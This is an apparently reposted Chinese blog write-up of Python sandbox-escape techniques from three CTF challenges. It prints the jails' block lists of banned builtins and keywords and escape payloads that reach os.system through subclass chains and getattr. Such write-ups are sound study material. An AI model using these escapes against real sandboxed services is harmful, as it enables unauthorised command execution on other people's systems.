python沙箱逃逸小结

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了python沙箱逃逸小结相关的知识,希望对你有一定的参考价值。

技术分享图片
 
上周末,协会的同学去天津交流,天津大学的同学讲了一个python沙箱逃逸的案例。今天结合之前的所学和比赛经验写一个小结。

 

案例1

 
这是hackuctf 2012的一道题

1.  def make_secure():  
2.      UNSAFE = [‘open‘,  
3.                ‘file‘,  
4.                ‘execfile‘,  
5.                ‘compile‘,  
6.                ‘reload‘,  
7.                ‘__import__‘,  
8.                ‘eval‘,  
9.                ‘input‘]  
10.     for func in UNSAFE:  
11.         del __builtins__.__dict__[func]  
12.   
13. from re import findall  
14.   
15. # Remove dangerous builtins  
16. make_secure()  
17.   
18. print ‘Go Ahead, Expoit me >;D‘  
19. while True:  
20.     try:  
21.         print ">>>",  
22.         # Read user input until the first whitespace character  
23.         inp = findall(‘\S+‘, raw_input())[0]  
24.         a = None  
25.         # Set a to the result from executing the user input  
26.         exec ‘a=‘ + inp  
27.         print ‘>>>‘, a  
28.     except Exception, e:  
29.         print ‘Exception:‘, e  

下面是脚本运行的效果。
 
技术分享图片
 
效果相当于python的命令界面,我们的目标是读取当前目录下的flag文件。
如果题目没有任何的过滤,读取的命令如下,导入os包,然后直接执行命令。
 
技术分享图片
 
但是直接导入os会报错,如下图
 
技术分享图片
 
因为 del 命令删除了对应的命令,如下图
 
技术分享图片
 
看了Ned Batchelder的分享后学到了新知识。我们可以用file对象read文件
下面是元类和元类型详细信息,元组,子对象
 
技术分享图片
 
由于file在索引40,我们可以硬编码。如下图
 
技术分享图片
 
用file类型读取flag文件。
 
技术分享图片

 

案例2

1.  #!/usr/bin/env python   
2.  from __future__ import print_function  
3.     
4.  print("Welcome to my Python sandbox! Enter commands below!")  
5.     
6.  banned = [    
7.      "import",  
8.      "exec",  
9.      "eval",  
10.     "pickle",  
11.     "os",  
12.     "subprocess",  
13.     "kevin sucks",  
14.     "input",  
15.     "banned",  
16.     "cry sum more",  
17.     "sys"  
18. ]  
19.    
20. targets = __builtins__.__dict__.keys()    
21. targets.remove(‘raw_input‘)    
22. targets.remove(‘print‘)    
23. for x in targets:    
24.     del __builtins__.__dict__[x]  
25.    
26. while 1:    
27.     print(">>>", end=‘ ‘)  
28.     data = raw_input()  
29.    
30.     for no in banned:  
31.         if no.lower() in data.lower():  
32.             print("No bueno")  
33.             break  
34.     else: # this means nobreak  
35.         exec data  

相对于第一题,第二题是没有直接的回显。
我们可以用catch_warnings类(索引在59),进行命令执行。

1.  ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals[‘linecache‘].__dict__[‘o‘+‘s‘].__dict__[‘sy‘+‘stem‘](‘ls‘)

 
技术分享图片

 

案例3

1.  # -*-coding:utf-8-*-  
2.    
3.  #!/usr/bin/python3  
4.  import sys, cmd, os  
5.    
6.  del __builtins__.__dict__[‘__import__‘]  
7.  del __builtins__.__dict__[‘eval‘]  
8.    
9.  intro = """ 
10. pwnhub cuit 
11. pwn everything 
12. Rules: 
13.     -No import 
14.     -No ... 
15.     -No flag 
16.  
17. """  
18.   
19. def execute(command):  
20.        exec(command, globals())  
21.   
22. class Jail(cmd.Cmd):  
23.     prompt     = ‘>>> ‘  
24.     filtered    = ‘\‘|.|input|if|else|eval|exit|import|quit|exec|code|const|vars|str|chr|ord|local|global|join|format|replace|translate|try|except|with|content|frame|back‘.split(‘|‘)  
25.   
26.     def do_EOF(self, line):  
27.         sys.exit()  
28.   
29.     def emptyline(self):  
30.         return cmd.Cmd.emptyline(self)  
31.   
32.     def default(self, line):  
33.         sys.stdout.write(‘\x00‘)  
34.   
35.     def postcmd(self, stop, line):  
36.         if any(f in line for f in self.filtered):  
37.             print("You are a big hacker !!!")  
38.             print("Go away")  
39.         else:  
40.            try:  
41.                 execute(line)  
42.            except NameError:  
43.                 print("NameError: name ‘%s‘ is not defined" % line)  
44.            except Exception:  
45.                 print("Error: %s" % line)  
46.         return cmd.Cmd.postcmd(self, stop, line)  
47.   
48. if __name__ == "__main__":  
49.     try:  
50.         Jail().cmdloop(intro)  
51.     except KeyboardInterrupt:  
52.         print("\rSee you next time !")  

这题是cuit2017的题目,python3环境
这里主要过滤了大量的字符,包括1,2题所用的点号。

1.  print(getattr(os, "system")  

获取system函数地址,

1.  print(getattr(os, "system")("ls"))  

执行system(“ls”)
下面是获取flag的姿势
 
技术分享图片
 
以上都是利用Python作为脚本语言的特性来逃逸,但是还有一种高深的基于c源码的逃逸,简单点就是用c程序的漏洞实现漏洞,类似于PWN。最后也提供了参考链接,欢迎一起交流学习。
 
参考链接
http://bobao.360.cn/learning/detail/3542.html
http://www.cnblogs.com/Chesky/archive/2017/03/15/Python_sandbox.html
http://bobao.360.cn/learning/detail/4059.html

以上是关于python沙箱逃逸小结的主要内容,如果未能解决你的问题,请参考以下文章

记一次python沙箱逃逸绕过(time based rce)

一道简单的CTFpython沙箱逃逸题目

深入分析沙箱逃逸漏洞

源代码数据防泄密技术哪个好

SSTI模板注入

在GitHub发布这家公司漏洞,警察找上门!